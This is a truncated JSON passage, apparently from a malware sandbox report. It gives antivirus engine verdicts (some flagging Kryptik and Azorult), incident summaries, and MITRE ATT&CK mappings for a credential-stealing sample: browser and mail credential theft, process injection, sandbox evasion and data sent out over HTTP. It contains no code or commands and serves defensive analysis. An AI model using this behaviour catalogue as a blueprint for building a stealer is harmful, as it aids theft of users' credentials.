ted"},"cylance":{"data_source":"MetaDefender","name":"Cylance","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Malware_-10","verdict":"malicious"},"emsisoft":{"data_source":"MetaDefender","name":"Emsisoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"eset":{"data_source":"MetaDefender","name":"ESET","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"huorong":{"data_source":"MetaDefender","name":"Huorong","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"k7":{"data_source":"MetaDefender","name":"K7","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"lionic":{"data_source":"MetaDefender","name":"Lionic","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"mcafee":{"data_source":"MetaDefender","name":"McAfee","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"nanoav":{"data_source":"MetaDefender","name":"NANOAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"netgate":{"data_source":"MetaDefender","name":"NETGATE","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"rocketcyber":{"data_source":"MetaDefender","name":"RocketCyber","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"sophos":{"data_source":"MetaDefender","name":"Sophos","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"tachyon":{"data_source":"MetaDefender","name":"TACHYON","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"varist":{"data_source":"MetaDefender","name":"Varist","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"W32/Kryptik.KSR.gen!Eldorado","verdict":"malicious"},"viritexplorer":{"data_source":"MetaDefender","name":"Vir.IT eXplorer","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"virusblokada":{"data_source":"MetaDefender","name":"VirusBlokAda","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Malware-Cryptor.Azorult.gen","verdict":"malicious"},"webrootsmd":{"data_source":"MetaDefender","name":"Webroot SMD","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Malware_41.5","verdict":"malicious"},"zillya":{"data_source":"MetaDefender","name":"Zillya!","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"}}},"incidents":[{"details":[{"detail":"Marks file for deletion"}],"details_count":1,"name":"Evasive","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"details":[{"detail":"GETs/downloads executable files from web server"}],"details_count":1,"name":"Exploit","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"details_count":1,"name":"Network","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"details":[{"detail":"Contacts 4 domains and 4 hosts"}],"details_count":1,"name":"Network Behavior","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Collects system information using POST request"}],"details_count":4,"name":"Spyware","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"details":[{"detail":"Reads FTP client related files"},{"detail":"Tries to steal Mail credentials from registry"}],"details_count":2,"name":"Stealer/Phishing","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"details":[{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"details_count":1,"name":"Persistence","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Tries to steal Mail credentials from registry"}],"details_count":5,"name":"Fingerprint","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]}],"mitre_attacks":[{"attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Persistence","technique":"Create or Modify System Process"},{"attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"},{"type":"informative","value":"Able to identify virtual environment using user register activity"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"User Activity Based Checks"},{"attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Thread Local Storage"},{"attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Collection","technique":"Automated Collection"},{"attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"suspicious","value":"Sends UDP traffic"},{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Non-Application Layer Protocol"},{"attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Execution","technique":"Shared Modules"},{"attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call"},{"attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Dynamic API Resolution"},{"attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"Device Driver Discovery"},{"attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Collection","technique":"Local Data Staging"},{"attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel"},{"attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Non-Standard Port"},{"attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"PCAP contains base64 strings"},{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Data Encoding"},{"attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"Security Software Discovery"},{"attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Service Discovery"},{"attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Management Instrumentation"},{"attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to set/delete MS-DOS device name (API string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Persistence","technique":"Windows Service"},{"attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Debugger Evasion"},{"attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Execution Guardrails"},{"attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Application Layer Protocol"},{"attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Contains ability to modify process memory (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking"},{"attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Creates new processes"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to execute an application (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Execution","technique":"Native API"},{"attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Persistence","technique":"DLL Search Order Hijacking"},{"attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Process Injection"},{"attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Steal Web Session Cookie"},{"attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Credentials from Password Stores"},{"attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve the host name of a computer (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Found registry location string related to processor"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Information Discovery"},{"attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Language Discovery"},{"attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Steals sensitive data from browsers"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Collection","technique":"Data from Local System"},{"attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"File Deletion"},{"attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Hidden Window"},{"attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Owner/User Discovery"},{"attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Symmetric Cryptography"},{"attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Command Shell"},{"attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Collection","technique":"Screen Capture"},{"attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Exfiltration","technique":"Scheduled Transfer"},{"attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Impact","technique":"Service Stop"},{"attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Timestomp"},{"attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information"},{"attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Time Discovery"},{"attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Web Protocols"},{"attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft"},{"attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Modify Registry"},{"attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Contains ability to detect virtual environment"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion"},{"attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Credentials from Web Browsers"},{"attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"Process Discovery"},{"attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Web Service"},{"attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Impact","technique":"Data Encrypted for Impact"},{"attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"Query Registry"},{"attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Able to perform anti-VM checks using CPUID"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Time Based Evasion"},{"attack_id":"T1555.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/005","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Password Managers"},{"attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"Software Discovery"},{"attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection"},{"attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"malicious","value":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Masquerading"},{"attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Code Signing"},{"attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Software Packing"},{"attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Location Discovery"},{"attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"malicious","value":"Tries to steal Mail credentials from registry"},{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Collection","technique":"Email Collection"},{"attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Network Configuration Discovery"},{"attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Lateral Movement","technique":"Lateral Tool Transfer"},{"attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Execution","technique":"Inter-Process Communication"},{"attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Execution","technique":"PowerShell"},{"attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection"},{"attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"File and Directory Discovery"},{"attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Ingress Tool Transfer"},{"attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Encrypted 